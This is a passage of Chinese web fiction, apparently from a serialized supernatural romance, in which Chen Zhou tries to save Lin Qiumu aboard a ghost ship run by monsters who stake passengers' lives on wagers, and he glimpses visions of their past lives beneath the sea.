谭蓝正靠在船头神情恼怒,一拳锤到了木板上,恨恨地咬着牙。
见他这副模样,陈抱掩唇笑了起来,艳丽的眉角渲染开来。
“我一定要让先生杀了他。”
“好了,又不是没输过。”
“那能一样吗!”他暴怒呵道。
老头听着两人的对话,不禁睁大黑眸:“谭蓝输了?”
“她不也输了!”谭蓝听见这话回头就指着同样输了的陈抱。
话落,雨还在几人之间垂落,老头的目光在两人身上流转,吓得退了两步,口中呢喃:“你们两个都输了,那我还有活路吗。”
他猛地抬起头:“是谁?”
此时几人还站在船头,天边已经升起几丝光亮刺破了漫漫长夜。
一道阴恻恻的声音响起,谭蓝靠在船头眼神飘忽似在回忆前一夜的场景。
“那人叫陈昼。”
“陈昼?”老头口中念着这个名字,眼中忽然一亮,他记得那个男人。
“遇到他一定要杀了他。”
谭蓝阴郁的眼中掺着不甘与杀意,而反观陈抱倒是眼眸一转已经望向了即将停靠的港口,表情中藏着异样的兴奋。
船舱的休息室内,陈昼抱着怀里的林湫暮双眸紧闭陷入了梦魇中,梦中是嗜赌如命的人群满目鲜血的大堂,还有那位追上船来的梁先生。
满室旖旎混乱,大床上两人赤裸相拥还未转醒。
远处天边亮起,窗户被一瞬间吹开,桌上的花瓶也被大风吹倒在地上碎了一地。
听到声响女人拧着眉打开双眼,看见胸前横着的手臂偏过头去,随即眼眸弯起露着温柔。
陈昼正沉沉地看着她,一双黑眸深邃沉着。
她攀上他的脸颊,“醒了?”
晨光柔柔地照进屋里,听见林湫暮带着笑的声音陈昼有种劫后余生的满足,情不自禁地凑近贴上她的额头,“一睁眼就能看见你的感觉真好。”
“我也希望以后每天早上睁开眼看到的第一个人就是你。”
他靠近吻了吻她的鼻尖,柔情中满是沉溺,两人亲昵地依偎在一起,仿佛是个极美的早晨。
林湫暮想起什么皱了眉,往后退了些,“你昨晚,很凶。”
她的话牵出昨天夜里大雨倾盆中的凶狠失控,撕碎的衣料辗转的浴室,还有掺着雨水的抵死缠绵。
男人露出悔恨之色垂下头靠在她怀里,闷声与她耳语:“湫暮,对不起,是我失控了。”
“我也不知道昨晚怎么了,一见到你就没了理智。”
他的喘息声在她耳边:“湫暮,我以后一定会控制好自己。”
“好了。”林湫暮抬手轻抚过他的后背,“我知道的。”
她的声音轻柔,听在陈昼耳中如同舒缓的乐声,重新将她拥入怀里感受着她的温度。
床上温柔宁静的画面被洒进船舱的晨光映照着。
“各位乘客注意,船要靠港了!”
“乘客们注意喽,船要靠港了!”
“乘客请注意,船已靠港!”
窗外传来船头老人的声音,经过一夜的航行,船终于靠岸了,不过这不是他们要下的港口。
可陈昼的表情中藏着凝重,他急忙起身到窗户边往外望去。
船已经靠岸,码头上密密麻麻挤了许多人拿着票正准备上船来,看样子比起昨天在大堂里死的人数只多不少。
他身上有赌约已经不能下船了,可他得抓住机会把林湫暮送下船。想到这,陈昼的心里流过沉重,他舍不得。
给她船票时,他说过,从此他陈昼只为林湫暮一个人活。
终于还是凝了心神眼里划过一抹悲色,陈昼转过头来:“湫暮,收拾一下我带你走。”
林湫暮把衣服往身上套好,疑惑地说:“这不是我们要下去的地方。”
窗外熙熙攘攘人潮里热闹非凡,陈昼已经拉着人往门口出去,“昨晚我在船上亲眼看见这船上卖酒的老板娘和赌桌上的一个男人杀了满堂的人,他们会邀请船上的人参与他们的赌局,输了就会死,我虽然侥幸赢了可身上还有和他们的赌约在,湫暮你还有机会,所以你得赶紧下船离开这里。”
两人的脚步紧凑,穿过休息区来到了他口中的大堂。
此时大堂内明亮干净,赌桌和酒柜立于室内两侧看起来整洁有序,完全没有昨晚惊险血腥的痕迹。
林湫暮按住陈昼的手停了下来,她看向他的目光中含着关心:“你是不是昨天太累了所以做噩梦了。”
他仔细凝视着女人,“湫暮,相信我,这里就是个杀人如麻的地狱,你快趁靠岸的时候下船。”
“你要我下船到哪儿去?”林湫暮盯着他问。
是啊,他们本来就是要一起离开的,现在要她一个人上哪儿去呢。
“你先找个地方暂时住下,我一定会再回来找你。”
陈昼垂眸捧起她的脸轻吻,“我说过我会保护你。”
面对男人的深情款款,林湫暮脸色逐渐变冷,挣开了紧握着她的手。
“陈昼,既然你把我带出来了就别想让我走,就算是死我也会跟你死在一起。”没了往日的温柔,她整个人散发着幽冷的气息。
陈昼的眼神闪动想要重新解释给她听,可林湫暮没再说一句话就往大堂内走去。
转眼间门口涌入了刚才上船的乘客,人潮拥挤,陈昼想要上前找到林湫暮,可她人已经被人潮淹没视线中完全失去了她的身影。
刚才还安静的大堂瞬间哄闹起来,就像昨晚刚上船时一样。门口陆陆续续还在进来人,他逆着人流哪里还能见到林湫暮人在哪。
船舱外还靠着不少欣赏海景的人,三三两两地谈笑风生,一副闲适轻松的模样。
“有人落水了。”
“船头有人掉下去了。”
“好像是个女人。”
人群里忽然有人传来声音,刚上船的乘客纷纷往大堂外涌去,陈昼也被人流推到了船舱外面。
这时外面围观的人纷纷在交头接耳,有人指着海面描述着刚才看到的事,还有人拿着施救设备往下扔。
陈昼来到围栏处时海面已经是一片平静看不出刚才发生过什么,他皱着眉望向海面,心中一股不安油然而生,再往周围扫视了一圈,还是没有看见林湫暮在哪。
“上船的人还没上来完呢,那个女的哭着冲出去结果就被人给挤下去了。”
“要下船也得等港口的人上来了再下去啊,我说啊,她这就是活该。”
“谁说不是呢。”
围观群众还在聊刚才落水的人,施救的人不多倒是站在围栏处说话的人居多。
陈昼朝着他们说的落水处看去,海面平静无澜瞧不出半点不对,可他总觉得下面有什么东西在吸引他,这种感觉越来越强烈。
他眼皮一跳,心中顿时升起一种预感,也许那个人就是林湫暮。
她在等他去救她。
方才还平静的海面忽然跳进去了一个男人,一时间周围人群哗然,这可是海,一不注意就没命了。
上面还有人在喊,企图把陈昼叫回来。
一会儿后,海面再次恢复平静,沉寂得像是没有人掉下去过。
阳光挥洒着金色的光晕,今天是个好天气,暖风绕绕吹过船头,不多时,人群便散了。
伴着雨声,夜晚再次降临,天边炸裂开了一道雷电,停靠在港口的船终于要再次启航。
船头的老人收起船板踱着小步子往船舱的大堂内去瞧了一眼,眯着眼小声笑了起来。
“各位乘客注意,准备启航了。”
“启航时间已到,船要发动了!”
“启航啦!”
船头传来老头的声音与大堂内熙攘的人群声交融在一起,海浪之上,巨船灯火如昼。
女人来到吧台前扫了一圈酒柜上的酒,问老板娘:“这酒怎么卖?”
正在调试新酒的陈抱望向她,勾了红唇道:“这里的酒不卖。”
“夫人要是想要的话不如跟我来一场赌局。”
话落,船舱的门被打开,是那个站在船舱的老头,他急急忙忙地跑向赌桌旁的那一小截阶梯。
沉入海底时,陈昼像被卸去了四肢百骸,他清醒地看着自己的身体不断下沉被冰冷的海水淹没掩埋。
也不知过了多久,他沉沉闭上双眼感受着海水深入骨髓的冰冷。
教堂里,女人穿着一身洁白婚纱站在神像之下,神圣而又美丽。直到她被一枪射中胸口鲜血瞬间染红了婚纱,倒在地上时女人拿起枪朝着门口的男人开枪,她嘴里念着求救的话。
“我是宁泽首富之女,救我,我爹会给你们钱。”
画面翻过,枪声响起,男人拉上女人逃出一片树林。
“闭嘴,想死吗?”
“跟我走。”
眼前的画面像是走马灯一页翻过接着就是另一页。
狭小的小屋里灯火昏暗,女人蹲在男人面前面露焦急。
“你受伤了?”
“我去给你拿药。”
“我自己来。”
“你就不怕我趁你受伤杀了你然后逃跑?”
“你不会。”
画面一转,还是在那间小屋里,只是变成了白天的光景,女人端着做好的面上桌看向男人:“吃饭,我早上起来特意做的。”
“喏,你受了伤应该补一补。”
“怎么,不想吃?”
“没有。”
“你的伤怎么样了?”
“不算严重。”
“不上完药再走吗?”
“没时间了,任务结束后再处理伤口。”
世事变迁,这中间又像过了一段时间,有一天,小屋里来了一个人。
“湫暮,回来了。”
“我听说林家的人要被放回来了。”
“就在最近。”
“你先别急,我这次来就是想告诉你这件事,听说林家夫妇在首都的时候身体不是很好,局长体恤,亲自送他们回宁泽。”
“对了,我还给你带了要用的药,我估摸着你前段时间的止痛药已经用完了,不过这可能是最后一次送药了,湫暮,你以后再发作的时候得要自己挺过去,毕竟止痛药不能用一辈子。”
“我要去前线了。”
画面戛然而止,画面中的人定格在眼前,深海中陈昼的眼随着深蓝的海水流动,那是,林湫暮。
这些画面代表着什么呢,是她的前世还是另一个时空发生的事。奇怪的是画面里所有的一切都清晰生动,唯独那个和林湫暮一直生活在一起的男人陈昼却始终看不清他的脸。
那他自己是否也在这里面扮演着某个角色,是谁。
陈昼掠过每一张流动的画面,是那个医生吗?
再次翻过一个篇章,故事似乎还没有结束。
“眼下时局不利已经不是出国的最佳时机,你爹娘和总局商议后决定只送你一个人出国。”
“今晚,就是你在宁泽的最后一晚。”
画面里的男人仍旧看不清楚脸,往常冷硬沉默的男人却把手覆盖在了她的手上。
“林湫暮,你走之后我会尽力保护你的父母。”
“在看什么?”
“在看今晚梁先生似乎与众不同。”
“哪里不同?”
“和平常比
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起来更让人想靠近了些。”
房门关上,男人拉着林湫暮进了屋。
“你在这里等我,我会尽快赶回来。”
“你不送她她也会被安全送走,你去了说不定还会搭上你这条命,于我而言可是失去了多年来埋伏在宁泽的卧底,这不是笔划算的买卖。”
“这么多年来我从未求过您什么,只是希望今日局长您能准许这一次,我此一生本该孤零,湫暮因我卷入险境,是我之罪,倘若今天我死在了送她离开的路上,也是我罪有应得。”
“如果,有一天宁泽沦陷了,你就快走吧,你这个人浑身是本事,走到哪都能活下去。”
“走之前我一定会把你送走。”
“相信我。”
“哥哥姐姐,买束玫瑰花吧,今早刚摘的。”
“冷...”
“好冷啊...”
“阿渊,她还不知道吧。”
“你们以前可是有过婚约的。”
“她活不了了。”
“这里太安静了,我想听你说说话,可以吗?”
“我喜欢过一个女孩儿,如果战争结束,我希望能看到她结婚生子,一生顺遂。”
“那你为什么不告诉她,你喜欢她。”
“我从没有这样想过,林小姐。”
再往后就是在一件昏暗的房间里,那间房里什么都没有,唯独一个十字架异常刺目。
他看见那个男人在十字架前日夜诉说。
“我们缘分未尽,我会回去找你,爱你,娶你。”
书页翻篇,故事到这里好像就结束了,陈昼却觉得这个故事结束得太过潦草,又或许这才是整个故事开始前的序章。
直到眼前展现出整个画面的全貌,他才看清原来刚才的一切都是书里的故事,那本书此时就在他的眼前。故事结束,一本书也才翻过几页。
海水缓缓流动,纸张在他眼前继续翻动。
安静的庄园里钢琴声悠扬响起,女人坐在钢琴前安静美好,楼梯上慢慢走下一个男人,他看着楼下的一幕眼中是嗜血的贪婪,一步一步,像是魔鬼的脚步声在靠近。
“亲爱的。”
男人走到女人身边手掌揽起她的腰含笑与她亲吻,他餍足的眼底布满了血丝泛着诡异骇人的光芒。
庄园的布置让人莫名觉得熟悉,陈昼想起来这是前一个故事中他们被俘虏拷问的地方。
钢琴前的女人平静温柔,指尖在琴键上缓缓掠过,一滴眼泪却掉在了黑白琴键上,在她身后男人手上拉着幽幽的小提琴乐曲,神情沉浸目光放在女人的背影上。
画面似乎是静止般的美好,一切都平静得太过诡异。
直到女人的眼泪哒哒地滴落在琴键上时再也不能假装没看见,她像一个被操控的木偶,手上动作没停可眼里透着无尽的悲哀。
“你不是他。”
女人的话让他停止了拉小提琴的动作,那一会儿他的目光茫然起来,转瞬间又充斥满了疯狂与嗔怒。
“你为什么就是要打碎一切。”
“他不会像你这样。”
“我就是他,我是他!”
“我一点,也不想陪在你身边。”
琴声中女人已经泪流满面,可她还在继续弹琴,犹如被操控般机械又麻木地继续着这个动作。
“不,你必须留在我身边。”
“亲爱的,我回来了,你难道不应该开心吗?”
男人低吼着说,神情癫狂可怖,当女人挣脱开他的意识开始从眼前消散时他疯了一样抱着头一遍一遍念着她的名字。
方才还平静安宁的庄园外不知何时起了火,男人跌跌撞撞地走出来,眼前这幅画面实在疯魔。
书页翻篇,又是一个世界的故事讲完了,陈昼愣怔地看着眼前的一幕,紧接着海水涌动,纸张继续快速翻动。
教堂前,还是那个女人,这次她穿着故事一开始时的婚纱,纯洁美丽,站在她身边的还有一个男人,男人一身贴身西服与女人执手站在神像之下。
而那个男人,竟然长着和陈昼一样的脸。
“那是我?”
陈昼看着书里面的画面,故事里和林湫暮结婚的男人竟然长着和他一样的脸,可那个看不清脸的男人呢,按照前几章故事的发展只要有林湫暮在的地方就一定会有那个男人的身影。
果然,婚礼刚开始那个男人踱着悠悠的步子走进了教堂。
“亲爱的,我来接你回家了。”男人犹如撒旦盯着一身纯白婚纱的女人,他唇边勾起的笑危险阴沉。
此时书本的内容已经过半,前面一定还记载了他们之间的很多内容,随着书页的翻动陈昼只能看到一些断断续续的片段。
女人的意识似乎已经没有前面那样容易被控制,她看到教堂门口逆着光的男人眼里涌现出惊惧瑟缩。
“我马上就要结婚了,你就不能放过我吗?”
男人红着眼歪了歪头仿佛听见了什么笑话,他向女人伸出手,缓缓开口:“我们已经结过婚了啊,亲爱的,难道你已经忘了吗?”
“不,不是这样的,我爱他,我们已经在神像下宣过誓,你不要再靠近我了好不好。”女人啜泣的声音细小脆弱,里面藏着对他的害怕。
“哦,是吗,既然神明对错不分那我们也不必信奉神明。”
男人神情鬼魅偏执,他缓缓举起枪朝着偌大的神像眯起眼。
“嘭!”
教堂里枪声响起,而在神像上一道子弹射穿的痕迹悬挂于神明的额头中心。
“啊!”
“啊...”
女人崩溃地嘶喊出声,她抱着头无力地蹲下身,眼泪滚滚落下,而她身后身着西服的男人逐渐化成尘土消散。
故事再次结束,陈昼睁大了眼看着那座神像,隔着纸张他从心底产生了无以言喻的恐惧。
海底的海浪剧烈翻涌将陈昼卷入了漩涡之中,他也逐渐消散了最后一丝意识。
17. 关于我们
当陈昼再次睁开眼的时候已经回到了船头上,巨船正在海浪之上航行,暴雨如注,大雨冲刷着他的身体。
为什么他又回来了?
“湫暮。”
对了,林湫暮在哪,他跳下去不就是为了救人吗。
想到这里陈昼心里重新被焦急恐惧裹挟住,他得去救人。
于是深黑的海面上陈昼纵身一跃再次跳入了海里,冰冷刺骨的海水卷过他的身体,陈昼奋力往下潜入,可茫茫大海怎么才能找到林湫暮。
在沉入大海时陈昼的意识便开始慢慢混沌消散,浪潮一波翻涌过一波,他也随之被卷入其中,深蓝发黑的海水漫过,他终究还是像上一次一样彻底失去了意识。
漆黑的深夜里,巨船稳稳航行于海面之上,船舱内明亮如昼人声纷杂,好不热闹。
船头上不知何时站了一个男人,他的眼神里透着迷茫与惊奇。
为什么,为什么又重新回到了船上。
陈昼身上的衣服已经湿透了,不知是海水还是雨水,此时他的眼里已经不止是焦急还交织着恼怒、惊惧、疑惑...
难道他无论如何也不能离开这艘船,是因为那个赌约吗。
正当他站在船头独自一人思索时,背后吹来一阵凉飕飕的冷风让人在心底不自觉泛起了凉意。
“小先生,怎么在外面啊?”
陈昼转身,身后的三个人不知在那观察了他多久,几人脸上都抿着诡异的笑意正打量他。
“你就是陈昼,那天匆匆一瞥倒是没有想到你本事不小。”说话的是整日站在船头的小老头,尹鱼。
陈昼冷眼看了几眼三人没说什么径自从他们身旁走过往船舱里去了。
倒是谭蓝眼冒怒火,眼见这人竟然直接把他们给忽视了,立即就暴和道:“站住!”
他冲着雨中的背影吼:“你不是在找人吗,你现在走了就永远也别想知道她在哪儿!”
雨水还在发了狂地往下坠,听到背后传来的声音陈昼顿住了脚步,转过身时他的脸微微泛着白。
见他果然还是被吓到了,谭蓝咧起一抹笑来透着股阴森的邪气。
陈昼脸色僵白愣在雨中,对面的陈抱掩唇笑了几声挑起眉来与其他两人纷纷相视一眼。
他的声音里藏着死寂般的冷意:“她在哪?”
这艘幽灵船由不知道是什么东西的几个怪物控制着,人命在他们眼里不过是蝼蚁,他们既然说起了陈昼身边的另一人,那林湫暮还有生还的可能吗?
“小子,我要跟你赌。”尹鱼狭小的眼睛提溜转动,指向陈昼说道。
陈昼的唇瓣嗫动,又问了一句:“她在哪?”几乎是一字一字,咬着牙在问三人。
雨中响起了女人的笑声,这笑声在雨夜里并不怎么好听倒是增添了许多鬼魅之感。
陈抱笑得越来越开心了身体发颤着看向一旁心如死灰的陈昼,眨了眨眼说:“喏,在你身后。”
凌冽的寒风呼啸在船头上,暴雨倾盆而下海浪翻滚拍打着船身,三个嗜血如命的鬼怪站在陈昼面前正遥遥望向他身后的女人。
身后船舱内的灯光映照在他身上,陈昼转过身黑眸深沉。
船舱大堂的门口,林湫暮正撑着伞望向他,她的眼里还是一如往常的笑意与温柔。
“陈昼,你去哪了?”
门里的暖光映在男人紧绷的下颌上,陈昼看着眼前的人一瞬间有无数翻涌的情绪交融直至被一种失而复得的满足感填满。
他的薄唇不受控制地颤动,喉咙像被堵住了说不出话来。
林湫暮已经走到陈昼面前为他支起伞,她抬起头眼角的柔意倾泻,“回去吧。”她对他说。
忽然脑中有一个画面闪过,他还没来得及抓住就已经消失。
“还没来得及说,刚才这位夫人在我那里喝了两杯酒,和夫人聊了几句后我真是很喜欢这位夫人呢。”
陈昼的眼皮跳动,黑色冷沉的眼里凝过寒意。
他望着面前的林湫暮问出了声:“湫暮,你跟她赌了?”
林湫暮歪了歪头,“算是赌吗,老板娘人好,问了我几句话就免费请我喝酒了。”
“不客气。”身后陈抱的笑声在耳边环绕。
陈昼攥起林湫暮的手打算离开这里,这中间究竟发生了什么,原本打算趁靠岸的机会把林湫暮送下船可没想到她还是被卷了进来。
“湫暮,我们走。”
船舱大堂内这时正是最热闹的时候,赌桌前围着哄抢叫喊的人餐厅里的人仍然狼吞虎咽吃着盘里的食物,还有灯光下不知疲倦跳着舞的假人。
走进大堂暖光映照在他还在滴水的身体上,林湫暮收了伞看了眼他的衣服,开口说:“你先回房间换件衣服吧。”
他垂眸凝着眼前的女人,目光闪烁,“白天,我找不到你,后来听人说有人落海了我以为是你所以就跳下海去准备救你,但是我一睁眼就又回到这艘船上了。”
“湫暮,我想说这艘船不对劲,你一定要相信我。”
林湫暮听他说完却笑出了声,手指在他额头上一点:“你在说什么呢,白天我找不到你人正好看到卖酒的老板娘,人家说昨晚你喝的酒烈了些所以才做了噩梦。”
她双手放在陈昼脸颊两侧,含着嗔视道:“白天你要赶我走的事我还没跟你算呢,怎么这会儿又说起来了。”
门口,刚才在外面的三人一起进来了,几人往他们这边看了眼又环顾起大堂之后便各自往不同方向离开了。
陈抱路过两人时,眼眸含笑:“听说小先生昨晚做噩梦了,待会儿我调几杯助眠的酒,欢迎随时来光顾哦。”
她经过两人身旁时还带着淡淡的酒香,陈昼撇过头看到酒柜上深红的酒液顿时有种凉意直上心头。
“你先去换身衣服,从昨天到现在还什么都没吃,餐厅里有吃的。”
陈昼捏紧拳头追上林湫暮自顾自离开的背影,“我,我白天的意思不是要赶你走,我是真的担心你。”
此时大堂里人声轰吵,陈昼心里头越发心乱如麻。
楼梯上走下一个穿着淡黄色编织裙的女人,擦身间与满面焦急的陈昼绊了一下。
女人连忙开口道歉:“不好意思。”
陈昼回过头,双眉缓缓皱起。
这个女人他见过的,是昨晚和老板娘作赌时猜中的第二个女人,他记得这个女人当时路过时还和老板娘打了声招呼。
见他一副魂不守舍的样子,林湫暮已经转过身走远了。
老板娘往这处打量了一眼,善意地提醒道:“小先生,再不去追就来不及了。”
说完怔愣在楼梯处的男人才移开眼,发现刚才想要追上的人已经上了楼梯了,他连忙追上去。
“湫暮。”
陈昼大步走上前抓住林湫暮的手,却发现林湫暮的手冰凉,他惊讶地将她另一只手也攥在手心,两只手竟都冰凉得不正常,只怕是旧疾复发。
果然,再仔细看林湫暮的脸色也变得惨白无血色。
他见状心立马坠坠地疼,上前抱住林湫暮单薄的身子,口中满是忏悔愧疚:“对不起对不起,都是我的错,湫暮我求你别伤害自己。”
“我们这就回去吃药,是我没有保护好你,对不起湫暮。”陈昼抱着人像是慌了神,先前的理智都消散了个干净,没再去纠结什么赌约怪物。
怀里的人忍着眼泪可脸上还是挂满了珠子般的泪水,一颗一颗都落在了陈昼的心口。
“你是不是后悔了。”
“没有,我没有后悔,你肯跟我走我高兴还来不及怎么会后悔呢。”
“你还编一些莫名其妙的事来骗我,我就这么好骗吗?”
陈昼俯身抱紧了她,“对不起,我以后再也不说那些事了,湫暮你原谅我吧。”
休息区的走廊上只有女人低声的啜泣和男人的忏悔声,林湫暮抬起头望向满脸着急的陈昼,手指轻抚在他脸上。
“你爱我吗?”
“我当然爱你。”
走廊上的磕绊以一句最简单的话结束,听见这句话林湫暮又露出了往日里温柔的笑,陈昼俯身在她唇上吻住。
今晚的船上似乎格外温情,暖光照在他们身上,蕴着昏黄的光影。
餐厅里的人各自落座在长长的餐桌前
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,明黄色的灯光照映下每个人看起来都悠闲自在。
陈昼牵着林湫暮落座在空位上,面前空无一物却也没见哪里可以点餐。
他记得昨晚在谭蓝手里赢了食物,可为什么没见哪里有食物,他扫视了一圈桌上的人,那他们的食物又是从哪里来的。
离得不远处的位置上谭蓝朝陈昼看了眼,挑着眼皮里面蕴着愤恨。
正巧陈昼看到他,他立马开口问:“谭蓝,昨晚说好的食物呢?”
“哼。”见他主动问起,谭蓝别过头去,身侧的手已经攥紧了。
还从来没有人能从他手里赢走整船的食物,以前都是他高兴了就给那几条活下来的狗喂一点加了料的食物,再看如今简直是奇耻大辱。
陈昼目光凝视着一身西装打扮得人模狗样的谭蓝,起身走到他身边,然后俯身在他耳边低声说了什么。
林湫暮随着陈昼的背影看向两人,眼中含着疑惑。
谭蓝第一次觉得有人比他更像恶鬼,他此刻攥紧了手心却还是无力地松开。
男人的话在他耳边很轻:“赌约既成,不可更改。”
当陈昼直起身离开时身后的男人陷入了一片茫然好像被打乱了意识,等过了一会儿眼神才重新聚焦。
陈昼看向身旁的林湫暮,柔声问:“想吃什么?”
“这里有什么就将就吃吧。”
随后陈昼朝着谭蓝问起:“有什么吃的?”
“想吃什么就吃什么。”谭蓝抱着臂淡淡说道。
说完没多久就有人端着餐盘从后厨走出来,那男人双眼无神脚步规律,陈昼一眼看出这是个假人。
假人厨师端着餐食走到两人身旁,“请慢用。”
两碗被叠得高高的面被端到餐桌上,面碗里全是各种各样的配菜,虽然看着品相不佳但好在量大管饱还有营养。
只是当面被端上来的那一刻陈昼的脸色就变了,又是几个画面从脑海中划过,他冷着脸看向面前这碗面。
这是...
林湫暮脸上露出了些惊讶,眼前这碗面实在是重量级,见陈昼也盯着这碗面没动,她才说:“喏,你应该好好补一补。”
她说完便看见男人眼里满是震惊地看向她。
“怎么,不想吃?”
陈昼眼中的震惊不但没有减少反而愈发明显,他忙转过眼去稳了稳心神,摇头说:“没有。”
接着他拿起筷子吃起面,两人都没再说话。
故事里的面真的吃进嘴里是另一番感受,陈昼说不清为什么那些画面会在现实里重演,抱着这碗面吃时心里有种异样的满足,是拥有那个男人专属味道的满足,是拥有另一部分林湫暮的满足。
想吃什么就吃什么,原来是这个意思。
陈昼低头大口吃着面,餐厅里的人都已经用餐完毕,只剩了他们还在吃。
几人有意无意地瞥过两人,神情悠闲,不一会儿陈昼面前的面碗就见底了。
他抬起头感觉浑身都被这碗面暖和了,然后又看着这碗见底的面碗发呆起来。
餐厅门口这时走进来一个人,老头气喘吁吁地走到餐桌前坐下,头上还冒着热汗。
陈昼余光里看到刚才他走上来时那截赌桌旁的小阶梯。
“累死我了,累死我了。”嘴里在喊着累可那老头却发出了满足的笑声。
看到餐桌上还有陈昼,立马正起懒怠的身体看向他:“小子,下一个跟你赌的人该轮到我了。”
两人目光对视,他眸光暗沉,说:“好,赌什么?”
老头笑了一声:“提前说了可就不算了,到时候你来就知道了。”
光晕洒在餐厅里的几人身上,看起来温暖朦胧,今晚是个平安夜。
“赌什么?”
一道轻柔的女声响起。
陈昼转头看向林湫暮,额间浮现出担忧,他的湫暮该怎么办。
“没”
“我想和那位赌桌上的先生玩。”
林湫暮含着笑望向餐桌边的谭蓝,她是个长相侵略性十足的美人,此刻凝笑与人对视又有一番别样的美感。
“可以吗?”